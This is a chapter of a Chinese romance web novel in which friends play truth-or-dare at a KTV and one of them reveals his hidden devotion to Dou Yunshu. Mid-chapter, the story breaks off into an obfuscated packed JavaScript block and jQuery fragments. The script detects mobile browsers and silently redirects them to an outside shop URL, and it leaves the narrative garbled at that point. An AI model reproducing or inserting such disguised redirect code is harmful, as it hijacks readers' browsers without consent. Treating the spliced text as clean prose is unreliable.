20. 第 20 章

作品:《左右为难[修罗场]

    吃完饭,一行人来到了离知云最近的一家KTV,老板是窦明薏的高中同学,特意给他们升了最大的包厢。


    “这老板对明薏姐还挺殷勤的,”林跃川酸溜溜地说,“是不是喜欢……”


    “行了,”奚寻打断他的话,斥道,“啰哩八嗦。”


    任何有麦克风的地方就有奚寻和林跃川,这俩活宝依旧是最先热场的,唱了三四首歌之后才舍得把话筒递给别人。


    窦明薏有些不好意思地唱了一首她高中时候流行的歌,窦云舒跟着姐姐唱了两句,就连裴览和周韫也被逼着各唱了一首。


    “唱得差不多了吧?”林跃川摩拳擦掌,兴奋地提议,“老规矩,真心话大冒险,玩不玩?”


    这个游戏被他们从小学玩到大学,依旧有其特殊的社交魅力,大家一致同意了。


    游戏道具是一个酒瓶,规则是由发起人先转动瓶子,瓶口朝向的那个人要接受挑战,然后再由这个人转动瓶子,以此类推。


    林跃川是发起人,酒瓶旋转几圈后,瓶口停在了周韫的位置。


    “好好好,”林跃川鼓掌,“既然你和小云舒……谈恋爱了,那也就是我们大家庭的一员,我问点什么私人问题你不会生气吧?”


    周韫很大方:“你随便问。”


    “行,”第一个问题,林跃川也不会问得太刁钻,“你是梁城人吧,为什么来文安上学?梁大不是也挺好的。”


    “想离我爸妈远点。”周韫答得很干脆。


    很正常的一个回答,除了窦云舒微微蹙眉思考了片刻,似乎没有人在意。


    酒瓶转动第二次,瓶口朝向窦云舒。


    “哟,”周韫笑了一下,“大冒险行不?”


    窦云舒直觉他包藏祸心,但还是硬着头皮应下:“……也行。”


    “亲我一口。”


    “啊?”


    所有人都目瞪口呆,裴览更是冷着一张脸,撇过头不看他们。


    “不行?”周韫挑眉看向她,“亲脸就行。”


    你瞎补充什么啊?!


    游戏精神,游戏精神。窦云舒告诉自己,然后探身往前,飞快地在他脸颊上亲了一口。


    周韫捂着脸做出一副回味的表情,窦明薏和奚寻见状笑得几乎抱在一起,窦云舒恼怒地起身,往周韫肩膀上来了一拳,生气地大叫:“继续!”


    第三轮,瓶口朝向窦明薏。


    窦云舒扬起笑脸,问姐姐:“你这辈子最骄傲的事情是什么?”


    然后她挺起胸膛,昂起下巴,一副胸有成竹的样子。


    “最骄傲的事情啊……”窦明薏苦恼地作思考状,然后慢吞吞地说,“大概是,高考一模二模都是全校第一吧。”


    窦云舒垮下脸,像霜打的茄子似的:“好吧,那确实挺值得骄傲的。”


    窦明薏大笑,揽过她的肩膀:“但是第二骄傲的事呢,就是独自把我的小云舒养大,养大了这么聪明这么可爱的小姑娘。”


    窦云舒又被哄好了,笑嘻嘻地往姐姐怀里钻。


    下一轮,瓶口朝向裴览。


    窦明薏思索了一下,把提问权丢给林跃川:“你来问。”


    林跃川会意,做出一个“明白”的表情。


    奚寻有点伤心:“明薏姐和林跃川之间有小秘密了。”


    林跃川清清嗓子,问:“你为喜欢的人做过什么没让她知道的事?”


    窦云舒怔了一下,手上的沙糖橘掉在地上,然后愣愣地看着地上的橘子。周韫也不知不觉坐直了身子,死死地盯着裴览。


    裴览恍若未闻,只是沉默片刻,道:“没为她做过什么事,我分析过她的错题,帮她标注过卷子,因为她和妈妈起过小小的争执,因为她选择留在文安……但只是和她有关,其实都是为了我自己。”


    包厢里顿时一片寂静。


    窦云舒的脑袋瓜嗡嗡作响,她拼命拼命地想要理清一些东西,那些试卷上一条一条的红笔批注、张老太那个奇怪的眼神、还有听到他志愿时候的震惊……她抓住飘过的每一丝每一缕,努力梳理着,可是徒劳无功。


    当年以为他为了专心学习冷落朋友们,况且他确实也在分数上远远地甩开了她们。可是,可是,如果只是为了这个,他为什么又要乱填志愿?这一切是怎么回事?为什么她什么都不知道?为什么她到现在才反应过来?林跃川是什么时候知道的?他又知道多少?


    窦云舒乱乱的,好在后几局酒瓶都避开了她,气氛似乎冷了下来,没玩几局,大家就结束了这个游戏。林跃川继续抱着话筒唱歌,奚寻和窦明薏靠在一起聊些有的没的,裴览和周韫各自躺在沙发的一边,沉默地划着手机。


    窦云舒想叫裴览出去聊聊,她看了一眼周韫,和他对上目光,眼神交汇的瞬间,她慌忙转开视线,不敢再看他。


    思索再三,她把林跃川叫了出去。


    “把你知道的全部告诉我。”


    “我就知道一个,”林跃川挠挠头,“有段时间你不是说发下来的试卷经常会有批注嘛,还以为是老师写的,其实都是裴览写的。为了不让你怀疑,他还给我和奚寻的卷子也作了批注。噢,他还特意学了老师的笔迹,其实学得不太像,只是你没有发现。”


    “他说的和妈妈吵架、留在文安是什么意思?”


    “这我就不知道了,你还是自己问他吧。”


    窦云舒和林跃川回到包厢,窦明薏起身,问大家:“我和寻寻去附近买点吃的回来,大家有什么想吃的吗?”


    窦云舒摇摇头,垂着脑袋到沙发上坐下。


    奚寻和林跃川挽着窦明薏的手出门了,包厢里只剩下三个人。


    窦云舒想了想,对裴览说:“我想和你聊聊。”


    裴览凝望她片刻,点点头,正要起身,一边的周韫漫不经心地插了句:“我能听吗?”


    窦云舒怔了怔,点头:“也行。”


    裴览瞥了周韫一眼,坐了回去,心平气和地问她:“你想问我什么?”


    “你说的,和妈妈吵架,还有留在文安是什么意思?”


    “没有吵架,”裴览摇头,“只是一点小争执。”


    首考过后的那个跨年夜,四人组在裴览家玩疯了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040238|194397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    窦云舒在玩闹中弄掉了一只漂亮的浅紫色发卡,就掉在裴览家的沙发上。


    第一个发现这只发卡的人是裴览妈妈,儿子从小到大没有带过女同学回家,所以她觉得这发卡来得反常。尽管裴览解释那天来了两个女生,并且还有另一个男同学在场,裴女士还是敏锐地察觉到了不对劲。


    她直截了当地警告裴览,高考结束之前绝对不允许谈恋爱,要他尽快和那个女同学断掉联系,最好连手机上的聊天也不要有。


    裴览和妈妈发生了不小的争执,他不认为和窦云舒来往会耽误自己的学习,同时他觉得母亲对窦云舒的提防是一种极不公正的偏见。


    裴女士当时是这样说的:


    “我没有对那个女同学有偏见,我相信她肯定是个品学兼优的好姑娘,我也不反对你喜欢她。但不能是现在,你懂吗裴览?我和你爸爸辛辛苦苦培养了你十几年,不是为了让你在人生的重大节点上昏了头去谈恋爱的。你也要替人家女孩子想想,难道她不需要考大学吗?她不需要心无旁骛安安静静地准备高考吗?”


    这段话不知道是说服还是打动了裴览,总之他确实如裴女士想的那样,在高考之前再也没有联系过窦云舒。也是在高考之后,他才知道裴女士曾经找过张老太,话说得很委婉、也很体面:“我知道一个巴掌拍不响,我儿子肯定有很大的责任,但作为家长,我还是希望您也能和那个女同学谈一谈。”


    “这样,”窦云舒机械地点头,“所以你不是无缘无故疏远我们的咯?”


    “不是无缘无故,”裴览看着她,“但依旧伤害到了你,我很抱歉。”


    “留在文安也是为了我?”


    “不全是。文大的天文系很强,你记得吗?你跟我说过的。我认真听了你的话,发现文大有一位我很喜欢的老师,我有留在这里读研读博的打算。我有很周全地思量过,不完全是为了你,不要有心里负担。”


    说完,他补充了一句:“而且我确实答应过你,我要留在文安,我从来没打算食言。”


    该问的都问完了,窦云舒不知道该说些什么,把自己团起来窝在沙发一角,一言不发。


    “好感人啊,”周韫起身,发出讥讽的感慨,“如果不是因为这些阴差阳错,你们俩就会在一起了,是不是?”


    窦云舒现在没心情哄他,扭过头,继续作鹌鹑状。


    “也许是的,”裴览倒是很平静,站起来抚平自己的大衣,“周韫,我想和你单独聊聊,可以吗?”


    两人同时看向窦云舒,她无精打采地喝了一口桌上的奶茶,不置可否。


    “走吧。”周韫掸了掸大衣上并不存在的灰,率先走了出去。


    两道颀长的身影一前一后离开了包厢,窦云舒看得有些出神。她好像有一次无意识地说起过觉得男生冬天穿大衣好看,后来就再也没见过这两个人穿羽绒服,即使是最冷的时候。


    这是在干什么呢?窦云舒有些惆怅,为什么人一定要做选择?她不喜欢选择,她喜欢……


    对了!她喜欢偷听!


    窦云舒悄悄地尾随二人出了门。